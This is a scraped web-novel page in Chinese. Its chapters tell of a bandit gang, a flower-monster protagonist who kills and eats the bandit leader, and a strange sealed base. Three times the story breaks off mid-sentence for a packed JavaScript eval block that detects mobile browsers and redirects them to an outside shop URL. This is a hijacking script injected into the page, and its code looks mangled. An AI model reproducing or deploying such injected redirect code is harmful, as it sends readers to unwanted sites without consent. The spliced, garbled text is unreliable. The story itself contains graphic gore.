那光头刚想把他身后的华音扯出来，却突然听到身后的老大不咸不淡的说了句，“我不喜欢别人碰我的东西。” 光头瞬间酒醒了大半，随后啐了一声，伸出的手转而拽住林岚的头发，将他拖出了铁笼，“之前几次都让这只死小子给摆了一道，这次总算给逮着了！看老子不给他点好果子吃！” 由于断了条腿，加之身上伤势过重，林岚无法反抗，只能任由对方虐待。但在对方想将怀里的羚羊拽出来时还是拼命反抗起来，但随即便被一记重重的肘击打得弯下了腰，怀里的羚羊也再也护不住，被光头丢给了身边一直在转圈的一只瞎了一只眼的独眼狼。 那独眼雪狼也跟着一口咬住羚羊，羚羊哀哀叫了一声，挣扎着蹬了几下腿。但独眼狼似乎并没有要直接咬死它的意思，只是咬着它的脖子，将它拖到狼群中。 “悠着点，别那么快弄死了。”仇毅居高临下的看着那B级执行者狼狈的模样，心中忍不住起了一阵快意。在被执行者赶出基地后，他曾在荒原上当过很长一段时间的拾荒人，只能靠捡尸体，捡垃圾吃来活命，风餐露宿东躲西藏，还要时常担惊受怕生怕遇到高阶异种就此殒命。 而现在，他想要什么就能得到什么，那些从前眼高于顶瞧不起他的执行者也成了他的阶下囚。 这个B级羚羊异种的能力在于辅助，警觉性非常高，经常会护送运货队伍，无数次带领队伍逃脱过流匪的追捕，只是这次运气不太好，先是遇到A级异种，侥幸逃脱后又遇上了成群的天敌，又加上护送队伍过于庞大无法迅速撤退，这才导致在与狼群打了五天消耗战后被活捉。 人类引导人及其稀少，通常一座锚点基地中也就只有五六个，更何况他的共生体是这种辅助能力强大的B级羚羊异种，如果能为“狼烟”所用替他们寻找路过的走货队伍……念及此，即便仇毅并不喜欢执行者，但心中对于这个执行者的态度还是拉拢大于抹杀。毕竟在这片危险的白色平原上，多一个助力就能更多一分生存的机会。 “你就是86基地那个‘羚羊’吧。这样。如果你可以用你的能力替我们找出走货人的位置，我就放过你。”仇毅循循善诱，“甚至可以提拔你作为‘狼烟’的二把手。吃香喝辣，想要什么就能有什么，怎么样，考虑一下？” “让我助纣为虐替你们这群人渣放哨？”林岚呸了一声，怒道：“想都别想！” “敬酒不吃吃罚酒。”虽然这个羚羊的能力对于他们来说非常有用，但也并不是非要不可。见对方完全没有投靠的意思，仇毅冷笑了一声朝周围虎视眈眈的狼群抬了抬下巴，“既然这样不懂事，那这家伙就送你们了。” 仇毅命令光头将林岚丢到下方，居高临下道：“好好享受吧，羚羊。” 狼群一拥而上，撕咬着男人身旁的羚羊异种，而一旁的流匪们也嬉笑着靠近了那一脸愤怒的年轻引导人。本就伤痕累累的一人一羊很快就被鲜血浸染得几乎看不出原来的模样。 …… ——————————————————————— ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486705|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦铮站在堆叠成小山的尸堆上，甩了下热能刀上沾着的血。 脚下似乎仍有人没死透，一只手颤抖着往上伸着，他瞥见了，手中光刃一竖，直直扎进去。 于是脚下的“土壤”再度恢复了平静，一动不动。鲜血蔓延开来，将地面都染成了红色。 几个小时前还繁华热闹的街道此刻宛如炼狱，脏器血肉铺了一地，散发出浓重的腥臭味。 这些人在异变前没有任何征兆，一传十，十传百，没过多久，整条街道的人都被感染成了畸变体。好在驻扎在此地的执行者在被感染前及时通信给核心母城求救，作为指挥官的秦铮也恰好在附近的锚点基地能及时调度赶到，否则损失的就不止是这一个街区了，整座92号基地恐怕又要沦陷。 大部分异变就是这样毫无道理的突然发生的，根本来不及给人反应的时间。 一旦基地被摧毁……重建一个锚点基地可不是件轻松的事。钢铁，水泥，人口，食物等等，都是昂贵的成本。更何况每个锚点基地位置都很特殊，一旦其中一个覆灭，好不容易建立起的相对安全的运输路线以及物资产出布局都会被打乱。 热能刀刀刃的光源熄灭，刀柄折叠成一个小小的模块，收覆在秦铮的机械右臂内侧。他浑身上下都被黑色军服裹得严严实实，就连面部也套着机械战术面罩，只能隐约看到深邃的眼窝以及那双毫无温度的浅灰色瞳孔。 “F-179清道夫小队，清理尸体。D-263后勤小队，取样本送去医疗部检测。”他快步走下尸堆，通过通讯芯片熟练指挥着各个部门的运作。声音低沉平稳，像是没有感情的机械，毫无波动起伏。 见秦铮手头上的事情处理得差不多了，一个短发女人走上前，递给他一个银色方块状的通讯器，“86号基地B级引导人羚羊失联。失联前最后定位位置是在西南方，接近103号锚点基地与A级禁区[花海]。他接手的是B级任务[护送物资至103号基地并将等价菌肉带回86号基地]。” “又是103号。”秦铮接过通讯器，看了一眼屏幕中林岚最后发出求救信号的光点位置，面无表情，“最近有关于这个基地还有什么消息。” “已经接连三个执行者在接收到与103号基地相关的任务后无故死亡了，据102号基地执行者协会传来的消息，从三个月前开始，103号基地的执行者就已经与他们断联。运货团也只能进不能出，菌肉是103号基地特产作物，其他地方都没有产出，现在储备耗尽，已经供不应求……多个锚点基地都要求执行者协会尽快解决这件事。” “断联……”秦铮从通讯器中调出记录，投映到面前，形成一片全息地图，地图中各个代表锚点基地的绿点与中心处的母城连成一片密集的绿线，距离母城最远的103号上也有一条，看上去很稳定，“但母城还是会定期接收到103号的安全信号。” “最近白色平原西南方有个名为‘狼烟’的流匪团非常猖獗，会不会是他们切断了103号与外界的联系？他们的共生体虽然只有D级，但数量庞大，据目击者说，光看到的就起码有七只。” 秦铮摇摇头，否定了她的判断，“桑怡。D级异种即便数量多到100个，也做不到垄断整座城市，况且那里还有理慧坐镇。” “确实……如果真的只是这个流匪团的问题，理慧不可能坐视不管。难道理慧……”名为桑怡的女执行者说到一半，又皱起眉，“不应该啊。理慧传来的生存信号很安全，她不仅没有受伤，甚至仍然处于巅峰期。” “要安排A级执行者去调查一下情况吗？” “不。”秦铮的目光从103号锚点基地上移开，落在它附近标识的[幽灵花海]处。思忖片刻后，他收起通讯器，透过层层叠叠的建筑遥遥看向103号基地所在的方向，“我亲自去。” …… 5. 狩猎 兽类总是这样，打打杀杀的，充满了鲜血和厮杀，真是野蛮。如果是他，他才不会把进食的场面弄得那么难看。 华音托着腮看着眼前的狼群撕咬着猎物，打了个哈欠，有些百无聊赖的想。 他早就见惯了狩猎，这一幕并不能引起他的注意，可在羚羊异种濒死时，一条光链出现在一人一羊身上，随着羚羊被雪狼撕咬得越狠，没有受太大伤的年轻执行者身上也出现了咬痕。 在看到那条光链时，华音直起身眯起眼，想要仔细观察一下它出现的原因。但那条光链只是闪过一瞬便消失了。 正在这时，仇毅朝不远处仍然坐在笼子里的华音招了招手，“过来。” 华音不喜欢别人命令自己，这种口吻总是会令他感到不快，他本来有些不高兴，但随后又像是有了什么更好的主意，于是从笼子里站起身，慢慢走了过去。 先前华音一直坐着，由于他身形偏瘦，看起来并不算高大，但直到此刻走到仇毅面前，仇毅才发现眼前这个青年其实个子很高，甚至比他都要高小半个头。 在被对方的阴影罩下来时，让仇毅莫名有种威胁感，就好像两人的位置相反，自己才是那只被盯上的猎物。 但很快，这份出于本能的警惕就随着对方嘴角漾起的笑而烟消云散。 一个看上去文文弱弱，又没什么自保能力的人，就算个子高了些，又能影响得了什么呢？ 于是他牵着华音的手，微微一拽，让他靠在自己身上，威胁道：“看到了吗？不听我的话，就会跟那家伙一个下场。” “真野蛮。”华音漠然看着下方正在发生的血腥惨剧，“我不喜欢这样。” 仇毅哼笑一声，“那你喜欢什么样的？” “我比较喜欢在安静干净点的地方……”华音冰冰凉凉的手从他的脖颈处缓缓往上游，托住对方的脸颊，笑着补充，“就只有我们两个人。” 声音温温柔柔的，像是在刻意引诱邀约。 那双眼睛氤氲着雾气，直视着对方的时候就像陷进了一汪迷幻沼泽，仿佛有魔力一般，让人迟迟无法移开视线。 微妙的违和感只匆匆掠过，脑海以及眼睛里像是绽开了绚丽的万华镜，每一格图案都变成了眼前这个人，就连思维也被他填满，因此变得过载迟缓。 仇毅过了好一会才从那种恍惚状态中回过神。 看来之前这一幕吓坏了怀里的人，仇毅对于对方的示弱感到非常满意，大笑了几声，一把抱起青年就往自己房间走去，“那就去个只有我们两个人的地方！” 华音垂眸，顺从的由着他抱起自己。在仇毅看不到的地方，一朵白色半透明的小花从他指尖生出来，又悄无声息的掉落，落进地面中，化作银白色的丝线在地底下游走了一会，在那浑身是血的年轻执行者身边冒了个尖。 …… 这个庞大的地下停车场大部分都是联通在一起的，只在里面有几个货车车厢简易的铺设了下作为睡觉的地方，最里面的位置则是个单独的小房间。 仇毅作为这支流匪团的首领，这个稀有的独有空间自然也是属于他的。 在他抱着新抢来的战利品前往小房间时，有几个流匪颇有些惋惜的感慨道：“难得能找到这样漂亮的人。可惜了。” “按老大那个玩法，恐怕明天就只剩下几根骨头了！” “啧啧。要是喂狼前能给我们尝尝也好啊……” “想什么呢！老大看中的东西你也敢动歪脑筋，不想活啦！” …… 华音的听觉很好，那些流匪说的话他都听见了，但并没有在意。 他刚刚长出来，自保能力还很弱，消化得也慢。如果在人多的地方进食恐怕会有危险，但如果只是一个，那就好办多了。 不知道为什么，一路过来根本没人把他当作威胁看待，似乎都觉得他柔弱又好欺负，是谁都能啃上一口的肥肉。 不过这种轻视对他来说也不算什么坏事就是了。 想到这里，华音眯起眼，伸出手勾住仇毅的脖子，将自己的头靠在对方的胸口，听着对方的心跳。 咚咚……咚咚……咚咚…… 他能听到对方的呼吸瞬间急促起来，连带着心跳都快了几拍。 他舔了舔嘴唇。 虽然腐化的植被也很好吃，但果然还是生动的血肉更合他口味。 …… 甫一进门，华音就被丢到了那张靠墙的床上，那张床并不柔软，硌得他很不舒服，他抬起脚，抵住对方压近的身体，顺势扫了眼四周。 小房间内空间并不大，只有一张简陋的床和一个狭窄的桌子，灰白的墙面上有很多铁架，架子上摆着一些华音看不太懂的枪/械铁器和几颗头骨，这些头骨有人的也有异种的，它们被摆在及其显眼的位置，应该是屋子的主人作为装饰用的。 仇毅抓住华音的脚腕，他先前还有些担心对方其实是拥有强大共生体的引导人，但他身上完全没有异种共生体的气息，应该真的只是个普通人类。 再漂亮的人也不过就是个摆盘精致的点心，尝尝鲜就差不多了，但真要随时带在身边护着，那就成了烦人的累赘。 他虽然好/色，但也不至于分不清主次。因此即便有被对方外表蛊惑到，也没准备一直留着活口，毕竟在这片残酷的荒原上，多一个累赘，也就意味着多了一分危险。 那白发青年似乎对自己的处境一无所知，那只光着的脚不但没有退缩，反而顺着仇毅的手慢慢移到了他的胸口处点了点，楚楚可怜的抬眼看他，“你会帮我的吧。” 仇毅还真是头一次见到这样懵懂到有些天真的人，这种人要不是在城里被保护得太好，要不就是实力可怕到足以藐视一切。他皮笑肉不笑的松开抓着对方脚腕的手，“那要看你表现了。” 柔柔弱弱的小美人像是鼓足了勇气，来到他面前，动作笨拙的抱住他，手指在他的脊椎处上下游走，委委屈屈的说：“我很弱，也没什么力气。没人帮我的话我就要饿死了。” 他的身上很香，是那种浅淡的清香，并不浓重，闻着让人感觉很放松舒服。他的声音温软极具蛊惑性，让仇毅感觉自己的脑子都有些迷糊了。如果是别人这么说的话仇毅只会直接嗤笑一声然后把那人丢进狼群里，但眼前这人的话却像是在自己心中扎了根，蔓延，滋长，生出细长的藤蔓，将自己的心口撩得火热发痒。 只是一个人而已，多喂一口饭似乎也没什么。而且自己确实许久没泻/火了，留着似乎也不是什么坏事。这样想着，仇毅咽了口唾沫，转口道：“只要你乖乖听话，我当然会帮你，别说吃饱了，你想要什么就有什么。” 华音歪着头问：“真的？” “当然。”仇毅理所当然地回答。 这时，那只巨大的头狼也跟着进了屋，由于它的体型过大，显得小屋的空间更逼仄了。与仇毅相反，这头老狼王对华音的存在非常警惕，它一双绿眼紧盯着华音，随时准备咬断他的脖子，还时不时低吼两声，似乎是在跟仇毅私下进行交流。 “你放心好了，我有分寸。”仇毅有些不耐烦的打发了老狼王的念叨，有些急切的搂住怀里的人，打算更进一步。 华音却在此时站起身，推了仇毅一下，力道并不重，但仇毅还是顺着对方坐在床边。 那白发青年慢悠悠来到铁架边上，葱白细长的手指划过一个个骇人的头骨，落在一卷绷带上。他取下那卷绷带，随后坐在了仇毅的大腿上，微微倾身，将绷带一圈一圈蒙上他的眼睛，“我吃东西的样子不太好看。可不可以先蒙上你的眼睛？” “当然……”吃东西？吃什么？男人吞了吞唾沫，感觉下腹发热，遐想连篇。 就算被蒙上了眼睛，但他还有另一双眼睛在着看。有老狼王在，这看起来完全没什么攻击力的柔弱青年即便想动什么歪心思也没用，仇毅确信自己的共生体会在对方动手前先一步咬断他的喉咙。 于是他非常体贴的纵容对方蒙住自己的眼睛。这点伎俩无伤大雅，反倒是更增添了些情/趣。 “你想我先吃你哪里？”华音问。 由于失去视觉，感官因此变得更加敏感。 微凉指尖从额头慢慢往下，到嘴唇停顿 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然而睁开眼看到眼前那一幕，让他浑身上下如坠冰窖。 此时此刻，猎物和狩猎者的位置全然相反。那看起来手无缚鸡之力的白发青年此刻用一只手捏住了狼嘴，让它无法出声向仇毅求救。 而在老狼王肚腹处，密密麻麻的冒出无数花苞，那些花苞以极其快的速度生长，爆发，直至塞满整个腹腔。 老狼王还在挣扎着要往仇毅的方向过来，毕竟只要有引导人在，它就还有机会恢复伤势进行反击！ 仇毅也终于从惊恐中反应过来，想要冲过去给它补给能源，但下一秒，他就陷入了彻底的绝望。 那异常漂亮的美人突然抬起了头，一道裂缝从他的脖颈处一直向上蔓延，将那张漂亮的脸生生分成了两半，右半脸上的皮缓缓掀开，露出皮肤后层层叠叠的细密牙齿。 “你喜欢被摸这里吗？”那脱了人皮的怪物细长如藤蔓的手指伸进老狼王的腹腔，掏出一串血淋淋的肠子。 随着他的动作，仇毅只感觉自己肚子里也被什么东西在翻江倒海的捣弄。剧痛之下脚一软，跪倒在地。 花面人身的怪物笑吟吟的将那串肠子扔到一边，又往上掏了掏，捏住老狼王那仍在搏动的心脏，“还是这里？” 仇毅冷汗涔涔，什么话也说不出来。 “怎么不说话呀。”它捏紧那枚心脏，语气逐渐不耐烦起来，“我让你说话，你就该乖乖回答我。” “我……我错了！我不知道你是……”仇毅现在后悔自己的轻敌也来不及了，只能求饶，“求你……求求你放过我们……” “还以为是个硬骨头呢。”怪物见他那么快就求饶，顿时觉得索然无味，手指微微施力，心脏顿时崩裂开来，成了一团血浆，“真没意思。” 那绽开的半张脸就像是朵盛放的粉色花蕾，骤然向下包住头狼的整个脑袋。 一卷一拧，伴随着“咔嚓”的脆响，头狼连惨叫都没来得及发出，就被生生拔掉了头颅，只剩下没了脑袋的狼躯仍在无力的痉挛抽搐。 随着老狼王的死，仇毅感觉自己的脖子也像是被人活生生拔断了一样，尚未来得及仔细思考到底发生了什么，身体就一歪，与老狼王的残躯一同栽进血泊中。 “真是的。都说让你不要看了。” 等吃饱喝足，半透明的白色花瓣又凝作一张完美无瑕的人脸。华音慢条斯理的舔舐起手指上残留的血肉碎渣，“我说过，我吃东西的样子不太好看。” 他其实并不太喜欢这样。他更喜欢附着在真菌上，通过真菌的菌丝摄入腐植层的营养，再不济也该是像人一样，在餐桌上慢慢品尝美味佳肴，而不是像现在这样太过亲近的掏心掏肺，太不优雅。 但现在环境不太好，肚子还饿着，也就只能这样将就着了。 华音看着这一片狼藉的小房间，唉声叹气。 还是得找个更适合自己的地方才行。这又脏又破的地洞，怎么可能待得下去呢？ 6. 玻璃花房 “着火了！快走！武器库也被烧了！再不走就要炸了！” “老大呢？！老大去哪了！” “那个该死的执行者不是已经断了腿吗？怎么突然能动了！” …… 没等华音好好享用完剩下的点心，外面突然传来一阵嘈杂的声音，有人急切的扣响小房间的铁门，朝里面大声喊：“老大！老大你在吗！那个B级执行者不知道怎么回事突然恢复了伤势抢了辆车逃出去了，还放了把火，您快出来……” 几根银线悄悄从旁边的窗口钻了出来，神不知鬼不觉的从他的视线盲点扎进了他的后脑勺。没等他说完后面的话，身体就像是被针管不断抽取着内容物，迅速抽搐着变得干瘪，很快就只剩下一张薄薄的皮囊覆盖在尚未消化完全的骨骼上。 铁门从内部缓缓打开，从里面走出一个浑身干干净净，与周围环境格格不入的银发青年。他走到混乱的大厅，拿起桌上残留的酒杯，哼着不知名的小曲将酒液倾洒在四周，将本就愈演愈烈的灾难添加助燃剂。 咒骂声，哭喊声，爆炸声，各种声音糅杂在一起，奏成一曲混乱的乐章。他自火焰与人群中缓缓走过，洁白的衣衫上半点血污也无，与狼狈逃窜的人群形成鲜明的对比。 周围的一切似乎都无法将他浸染，犹如一株兀自盛开在地狱的白色幽灵花，所过之处劫难丛生。 幼小的花苗自身后的尸体中悄然钻出，白色花苞密密麻麻，像密集的虫眼，肆意汲取着新收获的养分。 华音恍然间觉得这一幕似曾相识，回眸看向身后。 遥远模糊的记忆中有人向他哭喊，“求您了！求您离开这里！永远不要再回来！” 而脑海中那声音却在此时突然响起：“欢迎回来。” ………… 没等华音细想，一阵急刹车的声音从身边传来。 “上来！”一个人从破旧的卡车中朝他伸出手。 是林岚。对方浑身上下都是伤，但看起来比之前好多了。在他身后，还有不少被救出来的人，之前货车上的老蒋和胡小满也赫然在列。 华音握住林岚伸出的手，接着便被他拉进那辆重型卡车中。直到卡车撞开铁门，冲出那座混乱的狼窟，车里的人才松出一口气。 他们只以为自己逃出了狼窟，却没人发现身后那座地下停车场已经迅速被花簇埋没。 流匪们的尸体被密集的花苞占据，很快便化成了一滩滩难以辨认的血水，到最后血水也被吸干殆尽，只余一小片生机勃勃的白色花簇随着夜里的风雪摇曳。 美轮美奂。 …… 华音扫视了一圈车内的人，除了林岚，老蒋，胡小满和自己以外，还另外有十几个人，挤满了卡车后厢。从衣着来看跟林岚应该是一起的，都是运货团的人。其中一个人充当司机在开车，其他人都垂头丧气的聚在离林岚比较近的角落里。 “还好那只头狼一直没出现，不然我们不一定能逃出来。”林岚一边包扎着自己的伤口一边问其他人，“我接下来打算去103号锚点基地，你们呢？你们要去哪里？” 老蒋和胡小满对视了一眼，“……我们也打算回基地。” “车和货全没了，去哪都一样。”另外十几人中有一个是运货团的团长，他叹了口气，道：“我们也去基地吧，看看能不能补充点补给再回到86基地。” 林岚最后看向一直没说话的华音。 “我都可以。”他本来也没什么目的地，去哪里都无所谓。 “呀！”看到华音说话，胡小满惊讶道：“原来你不是食饵啊！” 秉持着多说多错，不说不错的生存法则，华音微笑着没说话。老实说他也不知道自己是不是。 “那就这么决定了，去103号锚点基地。”林岚朝车头的司机喊了一声。 司机应了一声，卡车便朝着一个方向飞快的驶去。 路上林岚身边那只小羚羊一直好奇的在盯着华音瞧，还偷偷摸摸的用脑袋拱他。被华音捏着脖子扔回到林岚旁边。 “它很喜欢你。”林岚又将小羚羊放进华音怀里，“你就抱抱它吧，它很乖的。” “……”华音只好僵着身体抱着它，生怕这小玩意突然给他来上一口。 它却没做什么，只是用脑袋蹭了蹭华音的手心。 华音从那些运货团的人口中得知这些流匪的据点毗邻人类当前已探索区域的边境，与103号锚点基地有一段距离，估计要凌晨才能到达目的地。 车窗外的沙雪照旧下着，行至半夜的时候卡车被什么东西卡住了，几个人下去查看，华音也跟在他们身后。 那是一具死去多时的人类尸体，背着个半人高的行军背包。 林岚看到背包上的标志，声音有些低落的说：“是探索者。” “探索者？”这一路上华音一直在默默偷听着这群人说话，他们经常会提到执行者以及守在各个基地内的守望者。却还是头一次听见他们提起“探索者”这个词。 “探索者很少待在基地里，你不知道也正常。”林岚边打开对方的背包边检查边解释道：“与守在基地内维持秩序的守望者和清缴各类异种的执行者不同，探索者的责任在于开拓新的人类聚集地以及记录各种新出现的异种。” 有人在旁感慨：“要不是有这些拿自己的命来开路的探索者，也不会有那么多向外延伸的锚点基地。” 即使弱小，求知欲的本能也支使着他们远离安全的居所，前往更远处，寻找更多生存的可能性。 103号基地就是人类如今活动最远的区域，这个探索者大概是在回来的路上失去了交通工具，又不知道遇到了什么，导致惨死在这里。 林岚熟练的将背包中剩余能用的物资搬到车上，之后又从那具尸体怀中取出一个通讯器以及一本红皮书。 华音注意到那本红皮书最下方标注着一行小字：第1075版·编纂自[探索者协会]。 通讯器已经坏了。但其实就算有用，在外围这些基地恐怕也没有信号可以使用。 于是林岚翻开了那本红皮书，果然，那红皮书上面用笔密密麻麻的记录着许多新型异种，还有一些粗糙的地形图。 他将红皮书收起来，招呼着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486707|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司机将那具尸体匆匆掩埋了，一行人就再次启程。 “那本红皮书……能给我看看吗？”华音问林岚。 “当然。有点沉，拿稳了。”林岚将红皮书递给了他。红皮书的存在就是为了让人们能够快速辨识异种，几乎人手一本，每隔一段时间还会更新新版，“异种的种类和数量越来越多，红皮书也越来越沉了。听说母城正在研发一种不受异种和信号干扰的电子红皮书，或许过不了多久就不必背着这种砖头红皮书了。” 华音接过那本砖头一样厚的红皮书，翻开看了几页。里面不只有记录异种，也有记录一些人类产物。 “……不怕被异种看到学去吗？”看到书上记录得这么细致，华音有些惊讶。 “以前确实是藏着掖着的，不过现在嘛……”林岚笑了一声，“有些异种比人还聪明。根本用不着学我们这点三脚猫。” 有人接话：“比如北海那些鱼人和南境的机械体。” 闲聊几句后，车内再次一片寂静。 一路上也遇到了几只异种，不过好在有林岚的能力加持，卡车有惊无险的逃过了它们的耳目。在天刚蒙蒙亮的时候，一行人终于到达了目的地。 103号基地整体呈正方形，周边有围墙，围墙上架构着整齐交错的钢架，类似玻璃却明显比玻璃要结实得多的透明天窗嵌在那上头，形成一格格整齐排列的小方块。 整座基地看起来就像是一个巨型的玻璃花房。 华音注意到那围绕着城市的金属城墙似乎有段时间没有进行修缮维护了，落满了灰，部分地方还被虫蚁侵蚀出黑色小洞。 他隐约觉得哪里不太对。在他模糊的印象里，城墙是保护城民免于异种侵害的倚仗。城民会将所有资源都优先用于维护城墙，而不会放任它就此腐朽破败。而现在，这座103号基地就像是已经放弃了防御，只是做做样子维持着城墙原来的模样而已。 “你在看什么？”胡小满见他站在城墙下，过来拍了拍他，“快些进去吧，检查站的人都等着呢。” “好。”华音收回视线，跟着胡小满走进了检查站。 检查站里只有两个工作人员，和胡小满一样都带着厚重的毡帽，他们手里拿着仪器，无精打采的在华音身上扫了一下，便挥挥手示意他通过。 过程过于轻松随意，导致华音一时间有些怀疑自己的记忆是不是出了什么差错。 然而在华音走过那两个工作人员身边时，他发现那两人手中的仪器甚至都没有连上电源，就只是个空壳子。 这对华音来说并不算是坏事，毕竟他现在都不清楚自己到底算是人还是异种，对方的松懈反倒给自己省去了些不必要的麻烦。 他通过检查站走进城墙内，其他人已经在里面等着了。 在往基地中心走时，周围的城民都悄悄打量着着这些外来者。 “103号基地和其他基地不太一样……”老蒋轻咳了一声，道：“它比较封闭，很少跟其他基地的人往来，所以城民看到有从外面来的人，难免会感到好奇。不用担心，等过几天熟悉了，就会和大家融为一体了。” 7. 理慧 老蒋这话说得意味深长，但此时所有人都疲惫不堪，根本没有心情计较这话里话外的意思，只想找个地方好好休息一下。 最终一行人到了一处小旅馆，老蒋和胡小满因为有自己的住处便没有在这里住下，临走前，还拿出几块菌肉给他们说是可以垫垫肚子。华音接过那几块菌肉看了眼，就是非常普通的白色真菌肉，按红皮书所说，是在人类世界非常常见的一种主食，没什么特别的。他刚吃饱肚子，便没有动那些菌肉，将它们留给了饥肠辘辘的其他人。 林岚因为伤势过重脑袋一沾上枕头就昏睡过去了，其他人随意整理了下身上的东西吃了点菌肉便也都睡下了。华音单独在自己的房间里，他坐了一会，觉得被褥太软了，让他感觉像是在野兽的舌苔中，倍感不适，于是站起身走出了旅馆，打算四处看看。 103号锚点基地整体并不算太大，街道跟回形针一样，一圈一圈，从入口处直通基地中心的广场，他就这样顺着街道，一路绕着往里走。 他试图找出一些让他感到不对劲的地方，但是没有。周围的城民一个个表现得都很正常，叫卖声和嘈杂的各种声音交织在一起，跟记忆中城民的生活似乎并没有什么区别，甚至要比他模糊印象里的其他基地城民还要更热闹些。 只不过这些城民都和胡小满老蒋一样，戴着厚重的毡帽，拿围巾裹着下半张脸。在卡车上的时候林岚问过那两人为什么要裹那么厚，老蒋只打着哈哈说天气冷，多穿点暖和。 可天气明明没有冷到这种程度。 在城内闲逛时，他听到有一个名字在城民口中经常频繁的出现。 “有理慧在，没事的，不会有怪物闯进来的。” “要不要带点东西给她？一直保护着基地，她都没有好好休息过吧……” “今天有新的食物进来，她吃饱了应该能好好休息下。” “我明天出城也去找点新的食物，不能总是依靠理慧……” “还好我们有理慧保护……不然恐怕早就跟104号基地一样成了一片废墟了……” …… 广场上有几座巨大的雕像，由于太久没有清理，雕像上爬满了藤蔓与不知名的野花。但唯独有一座雕像被清理得非常干净，在它面前还摆放着许多新鲜的花和食物。 那是个女人的雕像，她身披长袍，面容姣好，神情悲悯。一只手朝向前方，手心处托着一只小小的蚂蚁。 华音仰起头看着了一会雕像，随后视线缓缓下移，落到雕像脚边一丛丛白色菌菇上。 它们在这座城市里随处可见。 菌类与植物、动物同属于三大类，只不过较之植物与动物而言，菌类异变程度算得上是稀少，很多人类甚至异种都会将菌类作为主食，103号基地也是如此。由于这种菌肉的原料只生长在白色平原上，也因此成为了这座基地最主要的粮食储备。甚至还能通过运输与其他基地进行交易，换取需要的物资。 华音蹲下身，摘下一朵白色菌菇，放在鼻尖嗅了嗅。 浓浓的铁锈味。 这种纯白环菇华音并不陌生。他本体是幽灵花，旧时代的别名为水晶兰，一种腐生植物。它无需进行光合作用，会将根系寄生在真菌上，与真菌形成共生关系，由真菌分解食物提供营养传递给他。 他通常用以寄生的就是这种在白色平原上随处可见的纯白环菇。 但也不知道是从什么时候起，他的共生对象从这种纯白环菇换成了别的什么东西。按自己现在的形态以及林岚口中的所谓引导人和共生体的关系来看……华音隐约觉得自己的共生对象很可能是个人。 但他并不清楚那个人是谁，他想不起来。 “你怎么在这里？”有熟悉的声音从雕像边传来。 一个少年从雕像的基座后面探出头来。他戴着厚重的毡帽，围巾裹住了下半张脸，只露出一双眼睛。那双眼睛黑黝黝的，像是两颗黑色玻璃珠，此刻正警惕地、甚至带着一丝敌意地注视着华音。在他怀中还抱着一束花。 是胡小满。 “随便看看。”华音看了眼他手中的花束，那是一束红色的康乃馨。这种花在这样的世界里应该并不常见，应该是花了不少精力在温室里培育出来的。 胡小满将花束放在雕像脚边，双手合十，“希望理慧大人能快点好起来。” 即使是在做祷告的时候，胡小满也没有将他的帽子摘下。 “理慧是谁？”华音问他。 “理慧就是理慧呀。”做完祷告，胡小满站了起来，他注视雕像的目光满是崇拜，眼睛里亮晶晶的，“她是我们103号基地的守护神。” 虽然此时是在基地里，但仍有沙雪和风不知从哪处漏了进来。脆弱的花瓣被一阵风卷起，在这片白茫茫的世界里留下一行红色的斑驳印记。 “谁都别想伤害理慧。”胡小满加重语气，像是在自言自语，又像是在警告旁边的华音，“谁都别想！” 说完这句话，他便捂着自己的毡帽，一路小跑着离开了广场。 “……”这个基地里的人真是莫名其妙。 华音看着他的背影没入远处的人群中，打算结束这段短暂的散步，先回旅馆休息一下。 …… 华音和林岚等人在这里逗留了三天，这三天林岚等人一直在尝试和外面通信，始终没能成功。 某天晚上华音正准备躺下睡觉的时候忽然听见门外传来一阵轻缓的脚步声，那脚步声在走廊里停顿了一下，随后停在了他的房门前。门口随之传来极轻的几下敲门声。 华音起身走到门前，没有立刻开门，侧耳听了听门外的动静。走廊里很安静，但他能感觉到门外站着一个人，呼吸声压得很低，像是刻意在隐藏自己的存在。 “谁？”他警惕起来。 “是我。”林岚的声音从门外传来。 华音拉开门闩，林岚闪身进了房间。他的动作很快，几乎是在门缝刚够一个人通过的瞬间就挤了进来，然后迅速反手将门带上。 见他这副鬼鬼祟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486708|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祟的样子，华音忍不住问：“怎么了？” 林岚没有立刻回答。他靠在门板上，先竖起一根手指抵在唇前，做了个噤声的手势，然后侧过头，将耳朵贴近门板。他肩上的小羚羊也支起两只大耳朵，听着外边的动静。 确认外面没有人在偷听后，他才微微松了一口气，但眉头依然紧锁着，语气有些凝重。 “这个103基地有点不对劲。”他压低声音说，“你要小心一点。” 华音其实也这么觉得，但他没多说，等着林岚继续往下说。 